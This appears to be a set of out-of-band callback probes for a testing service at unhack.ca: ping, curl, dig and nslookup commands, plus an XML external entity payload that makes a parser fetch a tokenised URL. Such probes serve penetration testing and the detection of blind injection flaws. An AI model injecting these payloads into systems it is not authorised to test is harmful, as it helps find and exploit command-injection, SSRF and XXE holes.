$ ping -c1 -p 002daa2b156c553a2f269a430e593100 unhack.ca
 

$ curl http://unhack.ca/p/2daa2b156c553a2f269a430e5931
 

$ dig 2daa2b156c553a2f269a430e5931 @unhack.ca
 

$ dig 2daa2b156c553a2f269a430e5931.ns.unhack.ca
 

C:\> nslookup 2daa2b156c553a2f269a430e5931 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2daa2b156c553a2f269a430e5931">]>
    <foo>&xxe;</foo>